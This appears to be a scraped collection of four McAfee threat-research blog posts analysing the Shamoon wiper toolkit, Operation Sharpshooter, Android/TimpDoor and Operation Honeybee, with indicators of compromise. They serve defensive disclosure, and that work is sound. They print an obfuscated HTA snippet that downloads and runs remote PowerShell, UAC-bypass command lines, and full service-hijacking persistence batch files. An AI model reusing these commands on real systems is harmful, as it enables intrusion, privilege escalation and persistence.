Shamoon Attackers Employ New Tool Kit to Wipe Infected Systems

Last week the McAfee Advanced Threat Research team posted an analysis of a new wave of Shamoon “wiper” malware attacks that struck several companies in the Middle East and Europe. In that analysis we discussed one difference to previous Shamoon campaigns. The latest version has a modular approach that allows the wiper to be used as a standalone threat.

After further analysis of the three versions of Shamoon and based on the evidence we describe here, we conclude that the Iranian hacker group APT33—or a group masquerading as APT33—is likely responsible for these attacks.

In the Shamoon attacks of 2016–2017, the adversaries used both the Shamoon Version 2 wiper and the wiper Stonedrill. In the 2018 attacks, we find the Shamoon Version 3 wiper as well as the wiper Filerase, first mentioned by Symantec.

These new wiper samples (Filerase) differ from the Shamoon Version 3, which we analyzed last week. The latest Shamoon appears to be part of a toolkit with several modules. We identified the following modules:

  • exe: Used to read a list of targeted computers created by the attackers. This tool is responsible to run the second tool, spreader.exe, with the list of each targeted machine.
  • exe: Used to spread the file eraser in each machine previously set. It also gets information about the OS version.
  • exe: Similar to spreader.exe but uses psexec.exe to remotely execute the wiper.
  • exe: The new wiper, which browses the targeted system and deletes every file.

The attackers have essentially packaged an old version (V2) of Shamoon with an unsophisticated toolkit coded in .Net. This suggests that multiple developers have been involved in preparing the malware for this latest wave of attacks. In our last post, we observed that Shamoon is a modular wiper that can be used by other groups. With these recent attacks, this supposition seems to be confirmed. We have learned that the adversaries prepared months in advance for this attack, with the wiper execution as the goal.

This post provides additional insight about the attack and a detailed analysis of the .Net tool kit.

Geopolitical context

The motivation behind the attack is still unclear. Shamoon Version 1 attacked just two targets in the Middle East. Shamoon Version 2 attacked multiple targets in Saudi Arabia. Version 3 went after companies in the Middle East by using their suppliers in Europe, in a supply chain attack.

Inside the .Net wiper, we discovered the following ASCII art:

These characters resemble the Arabic text تَبَّتْ يَدَا أَبِي لَهَبٍ وَتَبَّ. This is a phrase from the Quran (Surah Masad, Ayat 1 [111:1]) that means “perish the hands of the Father of flame” or “the power of Abu Lahab will perish, and he will perish.” What does this mean in the context of a cyber campaign targeting energy industries in the Middle East?

Overview of the attack


How did the malware get onto the victim’s network?

We received intelligence that the adversaries had created websites closely resembling legitimate domains which carry job offerings. For example:

  • Hxxp://

Many of the URLs we discovered were related to the energy sector operating mostly in the Middle East. Some of these sites contained malicious HTML application files that execute other payloads. Other sites lured victims to login using their corporate credentials. This preliminary attack seems to have started by the end of August 2018, according to our telemetry, to gather these credentials.

A code example from one malicious HTML application file:

YjDrMeQhBOsJZ = “WS”

wcpRKUHoZNcZpzPzhnJw = “crip”

RulsTzxTrzYD = “t.Sh”

MPETWYrrRvxsCx = “ell”

PCaETQQJwQXVJ = (YjDrMeQhBOsJZ + wcpRKUHoZNcZpzPzhnJw + RulsTzxTrzYD + MPETWYrrRvxsCx)

OoOVRmsXUQhNqZJTPOlkymqzsA=new ActiveXObject(PCaETQQJwQXVJ)


zhKokjoiBdFhTLiGUQD = “d.e”

KoORGlpnUicmMHtWdpkRwmXeQN = “xe”

KoORGlpnUicmMHtWdp = “.”

KoORGlicmMHtWdp = “(‘*****.ps1’)‘%windir%\\System32\\’ + FKeRGlzVvDMH + ‘ /c powershell -w 1 IEX (New-Object Net.WebClient)’+KoORGlpnUicmMHtWdp+’downloadstring’+KoORGlicmMHtWdp)‘%windir%\\System32\\’ + FKeRGlzVvDMH + ‘ /c powershell -window hidden -enc

The preceding script opens a command shell on the victim’s machine and downloads a PowerShell script from an external location. From another location, it loads a second file to execute.

We discovered one of the PowerShell scripts. Part of the code shows they were harvesting usernames, passwords, and domains:

function primer {

if ($env:username -eq “$($env:computername)$”){$u=”NT AUTHORITY\SYSTEM”}else{$u=$env:username}




With legitimate credentials to a network it is easy to login and spread the wipers.

.Net tool kit

The new wave of Shamoon is accompanied by a .Net tool kit that spreads Shamoon Version 3 and the wiper Filerase.

This first component (OCLC.exe) reads two text files stored in two local directories. Files “shutter” and “light” contain a list of targeted machines.

OCLC.exe starts a new hidden command window process to run the second component, spreader.exe, which spreads the Shamoon variant and Filerase with the concatenated text file as parameter.

The spreader component takes as a parameter the text file that contains the list of targeted machines and the Windows version. It first checks the Windows version of the targeted computers.

The spreader places the executable files (Shamoon and Filerase) into the folder Net2.

It creates a folder on remote computers: C:\\Windows\System32\Program Files\Internet Explorer\Signing.

The spreader copies the executables into that directory.

It runs the executables on the remote machine by creating a batch file in the administrative share \\RemoteMachine\admin$\\process.bat. This file contains the path of the executables. The spreader then sets up the privileges to run the batch file.

If anything fails, the malware creates the text file NotFound.txt, which contains the name of the machine and the OS version. This can be used by the attackers to track any issues in the spreading process.

The following screenshot shows the “execute” function:

If the executable files are not present in the folder Net2, it checks the folders “all” and Net4.

To spread the wipers, the attackers included an additional spreader using Psexec.exe, an administration tool used to remotely execute commands.

The only difference is that this spreader uses psexec, which is supposed to be stored in Net2 on the spreading machine. It could be used on additional machines to move the malware further.

The wiper contains three options:

  • SilentMode: Runs the wiper without any output.
  • BypassAcl: Escalates privileges. It is always enabled.
  • PrintStackTrace: Tracks the number of folders and files erased.

The BypassAcl option is always “true” even if the option is not specified. It enables the following privileges:

  • SeBackupPrivilege
  • SeRestorePrivilege
  • SeTakeOwnershipPrivilege
  • SeSecurityPrivilege

To find a file to erase, the malware uses function GetFullPath to get all paths.

It erases each folder and file.

The malware browses every file in every folder on the system.

To erase all files and folders, it first removes the “read only’ attributes to overwrite them.

It changes the creation, write, and access date and time to 01/01/3000 at 12:01:01 for each file.

The malware rewrites each file two times with random strings.

It starts to delete the files using the API CreateFile with the ACCESS_MASK DELETE flag.

Then it uses FILE_DISPOSITION_INFORMATION to delete the files.

The function ProcessTracker has been coded to track the destruction.


In the 2017 wave of Shamoon attacks, we saw two wipers; we see a similar feature in the December 2018 attacks. Using the “tool kit” approach, the attackers can spread the wiper module through the victims’ networks. The wiper is not obfuscated and is written in .Net code, unlike the Shamoon Version 3 code, which is encrypted to mask its hidden features.

Attributing this attack is difficult because we do not have all the pieces of the puzzle. We do see that this attack is in line with the Shamoon Version 2 techniques. Political statements have been a part of every Shamoon attack. In Version 1, the image of a burning American flag was used to overwrite the files. In Version 2, the picture of a drowned Syrian boy was used, with a hint of Yemeni Arabic, referring to the conflicts in Syria and Yemen. Now we see a verse from the Quran, which might indicate that the adversary is related to another Middle Eastern conflict and wants to make a statement.

When we look at the tools, techniques, and procedures used during the multiple waves, and by matching the domains and tools used (as FireEye described in its report), we conclude that APT33 or a group attempting to appear to be APT33 is behind these attacks.



The files we detected during this incident are covered by the following signatures:

  • Trojan-Wiper
  • RDN/Generic.dx
  • RDN/Ransom

Indicators of compromise


  • OCLC.exe: d9e52663715902e9ec51a7dd2fea5241c9714976e9541c02df66d1a42a3a7d2a
  • Spreader.exe: 35ceb84403efa728950d2cc8acb571c61d3a90decaf8b1f2979eaf13811c146b
  • SpreaderPsexec.exe: 2ABC567B505D0678954603DCB13C438B8F44092CFE3F15713148CA459D41C63F
  • Slhost.exe: 5203628a89e0a7d9f27757b347118250f5aa6d0685d156e375b6945c8c05eb8a

File paths and filenames

  • C:\net2\
  • C:\all\
  • C:\net4\
  • C:\windows\system32\
  • C:\\Windows\System32\Program Files\Internet Explorer\Signing
  • \\admin$\process.bat
  • NothingFound.txt
  • MaintenaceSrv32.exe
  • MaintenaceSrv64.exe
  • SlHost.exe
  • OCLC.exe
  • Spreader.exe
  • SpreaderPsexec.exe

Some command lines

  • cmd.exe /c “”C:\Program Files\Internet Explorer\signin\MaintenaceSrv32.bat
  • cmd.exe /c “ping -n 30 >nul && sc config MaintenaceSrv binpath= C:\windows\system32\MaintenaceSrv64.exe LocalService” && ping -n 10 >nul && sc start MaintenaceSrv
  • MaintenaceSrv32.exe LocalService
  • cmd.exe /c “”C:\Program Files\Internet Explorer\signin\MaintenaceSrv32.bat ” “
  • MaintenaceSrv32.exe service






The post Shamoon Attackers Employ New Tool Kit to Wipe Infected Systems appeared first on McAfee Blogs.

‘Operation Sharpshooter’ Targets Global Defense, Critical Infrastructure

This post was written with contributions from the McAfee Advanced Threat Research team.  

The McAfee Advanced Threat Research team and McAfee Labs Malware Operations Group have discovered a new global campaign targeting nuclear, defense, energy, and financial companies, based on McAfee® Global Threat Intelligence. This campaign, Operation Sharpshooter, leverages an in-memory implant to download and retrieve a second-stage implant—which we call Rising Sun—for further exploitation. According to our analysis, the Rising Sun implant uses source code from the Lazarus Group’s 2015 backdoor Trojan Duuzer in a new framework to infiltrate these key industries.

Operation Sharpshooter’s numerous technical links to the Lazarus Group seem too obvious to immediately draw the conclusion that they are responsible for the attacks, and instead indicate a potential for false flags. Our research focuses on how this actor operates, the global impact, and how to detect the attack. We shall leave attribution to the broader security community.

Read our full analysis of Operation Sharpshooter.

Have we seen this before?

This campaign, while masquerading as legitimate industry job recruitment activity, gathers information to monitor for potential exploitation. Our analysis also indicates similar techniques associated with other job recruitment campaigns.

Global impact

In October and November 2018, the Rising Sun implant has appeared in 87 organizations across the globe, predominantly in the United States, based on McAfee telemetry and our analysis. Based on other campaigns with similar behavior, most of the targeted organizations are English speaking or have an English-speaking regional office. This actor has used recruiting as a lure to collect information about targeted individuals of interest or organizations that manage data related to the industries of interest. The McAfee Advanced Threat Research team has observed that the majority of targets were defense and government-related organizations.

Targeted organizations by sector in October 2018. Colors indicate the most prominently affected sector in each country. Source: McAfee® Global Threat Intelligence.

Infection flow of the Rising Sun implant, which eventually sends data to the attacker’s control servers.



Our discovery of this new, high-function implant is another example of how targeted attacks attempt to gain intelligence. The malware moves in several steps. The initial attack vector is a document that contains a weaponized macro to download the next stage, which runs in memory and gathers intelligence. The victim’s data is sent to a control server for monitoring by the actors, who then determine the next steps.

We have not previously observed this implant. Based on our telemetry, we discovered that multiple victims from different industry sectors around the world have reported these indicators.

Was this attack just a first-stage reconnaissance operation, or will there be more? We will continue to monitor this campaign and will report further when we or others in the security industry receive more information. The McAfee Advanced Threat Research team encourages our peers to share their insights and attribution of who is responsible for Operation Sharpshooter.


Indicators of compromise

MITRE ATT&CK™ techniques

  • Account discovery
  • File and directory discovery
  • Process discovery
  • System network configuration discovery
  • System information discovery
  • System network connections discovery
  • System time discovery
  • Automated exfiltration
  • Data encrypted
  • Exfiltration over command and control channel
  • Commonly used port
  • Process injection


  • 8106a30bd35526bded384627d8eebce15da35d17
  • 66776c50bcc79bbcecdbe99960e6ee39c8a31181
  • 668b0df94c6d12ae86711ce24ce79dbe0ee2d463
  • 9b0f22e129c73ce4c21be4122182f6dcbc351c95
  • 31e79093d452426247a56ca0eff860b0ecc86009

Control servers

  • 214.99.20/view_style.php
  • 74.41.56/board.php

Document URLs

  • hxxp:// Planning Manager.doc
  • hxxp:// Intelligence Administrator.doc
  • hxxp:// Service Representative.doc?dl=1

McAfee detection

  • RDN/Generic Downloader.x
  • Rising-Sun
  • Rising-Sun-DOC


The post ‘Operation Sharpshooter’ Targets Global Defense, Critical Infrastructure appeared first on McAfee Blogs.

Android/TimpDoor Turns Mobile Devices Into Hidden Proxies

The McAfee Mobile Research team recently found an active phishing campaign using text messages (SMS) that tricks users into downloading and installing a fake voice-message app which allows cybercriminals to use infected devices as network proxies without users’ knowledge. If the fake application is installed, a background service starts a Socks proxy that redirects all network traffic from a third-party server via an encrypted connection through a secure shell tunnel—allowing potential access to internal networks and bypassing network security mechanisms such as firewalls and network monitors. McAfee Mobile Security detects this malware as Android/TimpDoor.

Devices running TimpDoor could serve as mobile backdoors for stealthy access to corporate and home networks because the malicious traffic and payload are encrypted. Worse, a network of compromised devices could also be used for more profitable purposes such as sending spam and phishing emails, performing ad click fraud, or launching distributed denial-of-service attacks.

Based on our analysis of 26 malicious APK files found on the main distribution server, the earliest TimpDoor variant has been available since March, with the latest APK from the end of August. According to our telemetry data, these apps have infected at least 5,000 devices. The malicious apps have been distributed via an active phishing campaign via SMS in the United States since at least the end of March. McAfee notified the unwitting hosts of the phishing domains and the malware distribution server; at the time of writing this post we have confirmed that they are no longer active.

Campaign targets North America

Since at least the end of March users in the United States have reported suspicious text messages informing them that they have two voice messages to review and tricking them into clicking a URL to hear them:

Figure 1. User reporting a text that required downloading a fake voice app. Source

Figure 2. An August 9 text. Source:

Figure 3. An August 26 text. Source:

If the user clicks on one of these links in a mobile device, the browser displays a fake web page that pretends to be from a popular classified advertisement website and asks the user to install an application to listen to the voice messages:

Figure 4. A fake website asking the user to download a voice app.

In addition to the link that provides the malicious APK, the fake site includes detailed instructions on how to disable “Unknown Sources” to install the app that was downloaded outside Google Play.

Fake voice app

When the user clicks on “Download Voice App,” the file VoiceApp.apk is downloaded from a remote server. If the victim follows the instructions, the following screens appear to make the app look legitimate:

Figure 5. Fake voice app initial screens.

The preceding screens are displayed only if the Android version of the infected device is 7.1 or later (API Level 25). If the Android version is earlier, the app skips the initial screens and displays the main fake interface to listen to the “messages”:

Figure 6. The main interface of the fake voice messages app.

Everything on the main screen is fake. The Recents, Saved, and Archive icons have no functionality. The only buttons that work play the fake audio files. The duration of the voice messages does not correspond with the length of the audio files and the phone numbers are fake, present in the resources of the app.

Once the user listens to the fake messages and closes the app, the icon is hidden from the home screen to make it difficult to remove. Meanwhile, it starts a service in the background without user’s knowledge:

Figure 7. Service running in the background.

Socks proxy over SSH

As soon as the service starts, the malware gathers device information: device ID, brand, model, OS version, mobile carrier, connection type, and public/local IP address. To gather the public IP address information, TimpDoor uses a free geolocation service to obtain the data (country, region, city, latitude, longitude, public IP address, and ISP) in JSON format. In case the HTTP request fails, the malware make an HTTP request to the webpage getIP.php of the main control server that provides the value “public_ip.”

Once the device information is collected, TimpDoor starts a secure shell (SSH) connection to the control server to get the assigned remote port by sending the device ID. This port will be later used for remote port forwarding with the compromised device acting as a local Socks proxy server. In addition to starting the proxy server through an SSH tunnel, TimpDoor establishes mechanisms to keep the SSH connection alive such as monitoring changes in the network connectivity and setting up an alarm to constantly check the established SSH tunnel:

Figure 8. An execution thread checking changes in connectivity and making sure the SSH tunnel is running.

To ensure the SSH tunnel is up, TimpDoor executes the method updateStatus, which sends the previously collected device information and local/public IP address data to the control server via SSH.

Mobile malware distribution server

By checking the IP address 199.192.19[.]18, which hosted VoiceApp.apk, we found more APK files in the directory US. This likely stands for United States, considering that the fake phone numbers in the voice app are in the country and the messages are sent from US phone numbers:

Figure 9. APK files in the “US” folder of the main malware distribution server.

According to the “Last modified” dates on the server, the oldest APK in the folder is chainmail.apk (March 12) while the newest is VoiceApp.apk (August 27) suggesting the campaign has run for at least five months and is likely still active.

We can divide the APK files into two groups by size (5.1MB and 3.1MB). The main difference between them is that the oldest use an HTTP proxy (LittleProxy) while the newest (July and August) use a Socks proxy (MicroSocks), which allows the routing of all traffic for any kind of network protocol (not only HTTP)TTp on any port. Other notable differences are the package name, control server URLs, and the value of appVersion in the updateStatus method—ranging from 1.1.0 to 1.4.0.

In addition to the US folder we also found a CA folder, which could stand for Canada.

Figure 10. The “CA” folder on the distribution server.

Checking the files in the CA folder we found that VoiceApp.apk and relevanbest.apk are the same file with appVersion 1.4.0 (Socks proxy server). Octarineiads.apk is version 1.1.0, with an HTTP proxy.

TimpDoor vs MilkyDoor

TimpDoor is not the first malware that turns Android devices into mobile proxies to forward network traffic from a control server using a Socks proxy though an SSH tunnel. In April 2017 researchers discovered MilkyDoor, an apparent successor of DressCode, which was found a year earlier. Both threats were distributed as Trojanized apps in Google Play. DressCode installs only a Socks proxy server on the infected device; MilkyDoor also protects that connection to bypass network security restrictions using remote port forwarding via SSH, just as TimpDoor does. However, there are some relevant differences between TimpDoor and MilkyDoor:

  • Distribution: Instead of being part of a Trojanized app in Google Play, TimpDoor uses a completely fake voice app distributed via text message
  • SSH connection: While MilkyDoor uploads the device and IP address information to a control server to receive the connection details, TimpDoor already has the information in its code. TimpDoor uses the information to get the remote port to perform dynamic port forwarding and to periodically send updated device data.
  • Pure proxy functionality: MilkyDoor was apparently an adware integrator in early versions of the SDK and later added backdoor functionality. TimpDoor’s sole purpose (at least in this campaign) is to keep the SSH tunnel open and the proxy server running in the background without the user’s consent.

MilkyDoor seems to be a more complete SDK, with adware and downloader functionality. TimpDoor has only basic proxy functionality, first using an HTTP proxy and later Socks.


TimpDoor is the latest example of Android malware that turns devices into mobile backdoors—potentially allowing cybercriminals encrypted access to internal networks, which represents a great risk to companies and their systems. The versions found on the distribution server and the simple proxy functionality implemented in them shows that this threat is probably still under development. We expect it will evolve into new variants.

Although this threat has not been seen on Google Play, this SMS phishing campaign distributing TimpDoor shows that cybercriminals are still using traditional phishing techniques to trick users into installing malicious applications.

McAfee Mobile Security detects this threat as Android/TimpDoor. To protect yourselves from this and similar threats, employ security software on your mobile devices and do not install apps from unknown sources.

The post Android/TimpDoor Turns Mobile Devices Into Hidden Proxies appeared first on McAfee Blogs.

McAfee Uncovers Operation Honeybee, a Malicious Document Campaign Targeting Humanitarian Aid Groups

This post was written with contributions from Jessica Saavedra-Morales, Thomas Roccia, and Asheer Malhotra. 

McAfee Advanced Threat Research analysts have discovered a new operation targeting humanitarian aid organizations and using North Korean political topics as bait to lure victims into opening malicious Microsoft Word documents. Our analysts have named this Operation Honeybee, based on the names of the malicious documents used in the attacks.

Advanced Threat Research analysts have also discovered malicious documents authored by the same actor that indicate a tactical shift. These documents do not contain the typical lures by this actor, instead using Word compatibility messages to entice victims into opening them.

The Advanced Threat Research team also observed a heavy concentration of the implant in Vietnam from January 15–17.


On January 15, Advanced Threat Research discovered an operation using a new variant of the SYSCON backdoor. The Korean-language Word document manual.doc appeared in Vietnam on January 17, with the original author name of Honeybee.

Document properties.

This malicious document contains a Visual Basic macro that dropped and executed an upgraded version of the implant known as SYSCON, which appeared in 2017 in malicious Word documents as part of several campaigns using North Korea–related topics. The malicious Visual Basic script uses a unique key (custom alphabet) to encode data. We have seen this in previous operations using SYSCON. This key was also used in the Honeybee campaign and appears to have been used since August 2017.

Examples of decoy documents.

Several additional documents surfaced between January 17 and February 3. All contain the same Visual Basic macro code and author name as Honeybee. Some of the malicious documents were test files without the implant. From our analysis, most these documents were submitted from South Korea, indicating that some of the targeting was in South Korea. These Honeybee documents did not contain any specific lures, rather variations of a “not compatible” message attempting to convince the user to enable content.

We also observed a related malicious document created January 12 by the author Windows User that contained a different encoding key, but essentially used the same macro and same type of implant as we saw with the recent Honeybee documents. This document, “International Federation of Red Cross and Red Crescent Societies – DPRK Country Office,” drops an implant with the control server address, which resolves to the same server used by the implants dropped in the Honeybee case.

The directory contents of control server

The directory contents of, from Honeybee samples.


Log files of compromised machines from February 2018 Honeybee samples.

MaoCheng Dropper

Aside from finding the malicious documents, the Advanced Threat Research team discovered a Win32-based executable dropper. This dropper uses a stolen digital signature from Adobe Systems. This certificate is also used by another Korean-language malware compiled January 16 (hash: 35904f482d37f5ce6034d6042bae207418e450f4) with an interesting program database (PDB) path.

D:\Task\DDE Attack\MaoCheng\Release\Dropper.pdb

The malware is a Win32 executable that pretends to be a Word document based on its icon. This is a dropper for the same type of malware as observed with the other Word documents. This sample also dropped a decoy document with the author name Honeybee. This sample, however, contained a bug that interfered with the execution flow of the dropper, suggesting that the authors did not test the malware after code signing it.

The decoy document uses the cloud-based accounting software company Xero as a lure:

A decoy document from MaoCheng dropper.

Possible Operator

The Advanced Threat Research team has identified the following persona ([email protected]) tied to this recent operation. Based on our analysis, the actor registered two free hosting accounts:, which refers to the popular South Korean search engine, and The email address was used to register a free account for a control server in all the implants described in our analysis. 

Technical Analysis

Let’s start with an overview of the attack:

We continue with the components involved in this operation.

The malicious Word file is the beginning of the infection chain and acts as a dropper for two DLL files. The Word file contains malicious Visual Basic macro code that runs when the document is opened in Word using the Document_Open() autoload function. The word file also contains a Base64-encoded file (encoded with a custom key) in it that is read, decoded, and dropped to the disk by the macro.

The Document_Open() subroutine implementing the malicious functionality.

The Visual Basic macro performs the following tasks:

  • Opens a handle to the malicious document to read the encoded CAB file
  • Decodes the CAB file and writes it to the disk at %temp%\

Encoded CAB file in the Word document.

Decoding and writing the CAB file to %temp%.

The decoded CAB file in the Visual Basic memory buffer.

The CAB file contains the following files and functions:

  • dll: A malicious DLL used to launch batch files (used with cliconfg.exe for UAC bypass). The DLL contains the following PDB path: D:\Task\MiMul\NTWDBLIB\Release\NTWDBLIB.pdb.
  • bat: A batch file to set up the service COMSysApp, for an x64 system
  • bat: A batch file to set up the service COMSysApp, for an x86 system
  • ini: A data file with Base64-encoded data for connecting to an FTP server. Credentials are encoded in the .ini file.

Decoded credential data contained in ipnet.ini. 

  • dll: The malicious DLL file run as a service (using svchost.exe). The DLL contains the following PDB path: D:\Task\MiMul\FTPCom_vs10\Release\Engine.pdb.
  • The macro then extracts the CAB file into %systemroo%\system32, using either wusa.exe or expand.exe (depending on the OS) to again bypass UAC prompts
  • Once the files have been extracted, the Visual Basic macro deletes the CAB file and runs the malicious NTWDBLIB.dll via cliconfg.exe (to gain privileges and bypass UAC protections)
  • Command lines used by the Visual Basic macro:
cmd /c wusa %TEMP%\ /quiet /extract:%SystemRoot%\System32 && del /f /q %TEMP%\ && cliconfg.exe
cmd /c expand %TEMP%\ -F:* %SystemRoot%\System32 && del /f /q %TEMP%\ && cliconfg.exe

A combination of NTWDBLIB.dll and cliconfg.exe are used to bypass UAC protections; this is a familiar attack on Windows. UAC bypass via DLL hijacking requires:

  • A Windows executable with the auto-elevate property in its manifest
  • A Windows executable in a secure directory (%systemroot%\system32)

The malicious NTWDBLIB DLL performs the simple task of setting up the malicious ipnet.dll as a service by running one of the two batch files contained in the CAB file (which is also dropped to %systemroot%\system32):

NTWDBLIB executing the installer batch files under the context of cliconfg.exe. 

The batch files involved in the attack modify the system service COMSysApp to load the malicious ipnet.dll. The contents of the batch files vary depending on the OS (x64 vs x86):

install1.bat (x64)

@echo off
sc stop COMSysApp
sc config COMSysApp type= own start= auto error= normal binpath= "%windir%\SysWOW64\svchost.exe -k COMSysApp"
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SvcHost" /v COMSysApp /t REG_MULTI_SZ /d "COMSysApp" /f
reg add "HKLM\SYSTEM\CurrentControlSet\Services\COMSysApp\Parameters" /v ServiceDll /t REG_EXPAND_SZ /d "%windir%\SysWOW64\ipnet.dll" /f
sc start COMSysApp
del /f /q %windir%\SysWOW64\install2.bat
del /f /q %windir%\SysWOW64\install1.bat

install2.bat (x86)

@echo off
sc stop COMSysApp
sc config COMSysApp type= own start= auto error= normal binpath= "%windir%\System32\svchost.exe -k COMSysApp"
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SvcHost" /v COMSysApp /t REG_MULTI_SZ /d "COMSysApp" /f
reg add "HKLM\SYSTEM\CurrentControlSet\Services\COMSysApp\Parameters" /v ServiceDll /t REG_EXPAND_SZ /d "%windir%\system32\ipnet.dll" /f
sc start COMSysApp
del /f /q %windir%\System32\install1.bat
del /f /q %windir%\System32\install2.bat

The batch files perform these tasks:

  • Stop the service COMSysApp
  • Configure the service to autostart (to set up persistence on the system)
  • Modify registry keys to launch the DLL unser svchost.exe
  • Specify the malicious DLL path to be loaded into the svchost process.
  • Immediately restart the service
  • Remove the batch files to reduce the fingerprint on the system 

IPNet.dll runs as a service under svchost.exe.

The malicious DLL is also responsible for terminating the cliconfg.exe process and deleting the malicious NTWDBLIB.dll using:

cmd /c taskkill /im cliconfg.exe /f /t && del /f /q NTWDBLIB.DLL

All the following capabilities described are implemented by the malicious service DLL implant unless specified.  

Variant using North Korean Red Cross

Another variant (hash: 9e2c0bd19a77d712055ccc0276fdc062e9351436) of the malicious Word dropper uses the same Base64-decoding scheme with a different custom key. This document was created January 10.

Contents of the decoy document.

This variant also consists of two CAB files that are dropped to %temp%, depending on the OS (x86 or x64).

The key differences in this variant:

  • Two CAB files are encoded into the Word document in text boxes instead of being appended in the DOC file
  • There is one CAB file for an x86 system and another for an x64 system
  • This malware sample uses uacme.exe with dummy.dll to implement the UAC bypass
    • exe is the program vulnerable to the UAC bypass attack
    • dll runs install.bat to set up the service (same as NTWDBLIB.dll)
  • exe and dummy.dll may be either 64-bit or 32-bit binaries based on the OS. Ipnet.dll may also be either 64-bit or 32-bit.
  • The Visual Basic macro uses the following command line:
cmd /c expand %TEMP%\ -F:* %TEMP% && cd /d %TEMP% && del /f /q && uacme.exe
  • The control server credential information contained in the CAB files is different:

Decoded credential data contained in another ipnet.ini.

Similarities between this variant and the original malware sample:

  • Service name is the same: COMSysApp
  • The DLL and ini files contain the same functions as described elsewhere in this post

Data Reconnaissance

The following information is gathered from the endpoint and sent to the control server.

  • System info:
    • Computer name
    • System info using: cmd /c systeminfo >%temp%\temp.ini
    • List of currently running process using: cmd /c tasklist >%temp%\temp.ini


  • The data exfiltration process runs in the following sequence: The temp.ini files are copied into a text file that matches the pattern:

From <COMPUTER-NAME> (<Month>-<Day> <Hour>-<Minute>-<Second>).txt. For example, From <COMPUTER-NAME> (01-04 11-40-02).txt

  • All the text files are now packed into the archive (%temp%\
  • zip is Base64 encoded (with a custom key, same as that used in the malicious document) and then copied to post.txt
  • txt is uploaded to the control server

Additional Commands and Capabilities

The service-based DLL implant traverses to the /htdocs/ directory on the FTP server and looks for any files with the keywords:

  • TO EVERYONE: Commands issued to all infected endpoints
  • TO <COMPUTERNAME>: Commands issued to endpoints matching the ComputerName

The following commands are supported by the malware implant:

  • cmd /c pull <filename>: Adds filename to, Base64 encodes, and uploads to control server
  • cmd /c chip <string>: Deletes current ipnet.ini config file. Writes new config info (control server connection info) to new ipnet.ini.
  • cmd /c put <new_file_name> <existing_file_name>: Copies existing file to new file name. Deletes existing file.
  • /user <parameters>: Executes downloaded file with parameters specified using CreateProcessAsUser
  • cmd /c <command>: Executes command on infected endpoint 


The actor behind Honeybee has been operating with new implants since at least November 2017 with the first known version of NTWDBLIB installer. Furthermore, based on the various metadata in both documents and executables, the actor is likely a Korean speaker.

The techniques used in the malicious documents such as the lure messages closely resemble what we have observed before in South Korea. The attacker appears to target those involved in humanitarian aid and inter-Korean affairs. We have seen this operation expand beyond the borders of South Korea to target Vietnam, Singapore, Argentina, Japan, Indonesia, and Canada.

Based on the McAfee Advanced Threat Research team’s analysis, we find multiple components from this operation are unique from a code perspective, even though the code is loosely based on previous versions of the SYSCON backdoor. Some new droppers have not been observed before in the wild. The MaoCheng dropper was apparently created specifically for this operation and appeared only twice in the wild.


Indicators of compromise

MITRE ATT&CK techniques

  • Modify existing service
  • Code signing
  • File deletion
  • Deobfuscate/decode files or information
  • System information discovery
  • Process discovery
  • Service execution
  • RunDLL32
  • Scripting
  • Command-line Interface
  • Data from local system
  • Automated exfiltration
  • Data encrypted
  • Commonly used port
  • Bypass user account control


  • fe32d29fa16b1b71cd27b23a78ee9f6b7791bff3
  • f684e15dd2e84bac49ea9b89f9b2646dc32a2477
  • 1d280a77595a2d2bbd36b9b5d958f99be20f8e06
  • 19d9573f0b2c2100accd562cc82d57adb12a57ec
  • f90a2155ac492c3c2d5e1d83e384e1a734e59cc0
  • 9b832dda912cce6b23da8abf3881fcf4d2b7ce09
  • f3b62fea38cb44e15984d941445d24e6b309bc7b
  • 66d2cea01b46c3353f4339a986a97b24ed89ee18
  • 7113aaab61cacb6086c5531a453adf82ca7e7d03
  • d41daba0ebfa55d0c769ccfc03dbf6a5221e006a
  • 25f4819e7948086d46df8de2eeeaa2b9ec6eca8c
  • 35ab747c15c20da29a14e8b46c07c0448cef4999
  • e87de3747d7c12c1eea9e73d3c2fb085b5ae8b42
  • 0e4a7c0242b98723dc2b8cce1fbf1a43dd025cf0
  • bca861a46d60831a3101c50f80a6d626fa99bf16
  • 01530adb3f947fabebae5d9c04fb69f9000c3cef
  • 4229896d61a5ad57ed5c247228606ce62c7032d0
  • 4c7e975f95ebc47423923b855a7530af52977f57
  • 5a6ad7a1c566204a92dd269312d1156d51e61dc4
  • 1dc50bfcab2bc80587ac900c03e23afcbe243f64
  • 003e21b02be3248ff72cc2bfcd05bb161b6a2356
  • 9b7c3c48bcef6330e3086de592b3223eb198744a
  • 85e2453b37602429596c9681a8c58a5c6faf8d0c



The post McAfee Uncovers Operation Honeybee, a Malicious Document Campaign Targeting Humanitarian Aid Groups appeared first on McAfee Blogs.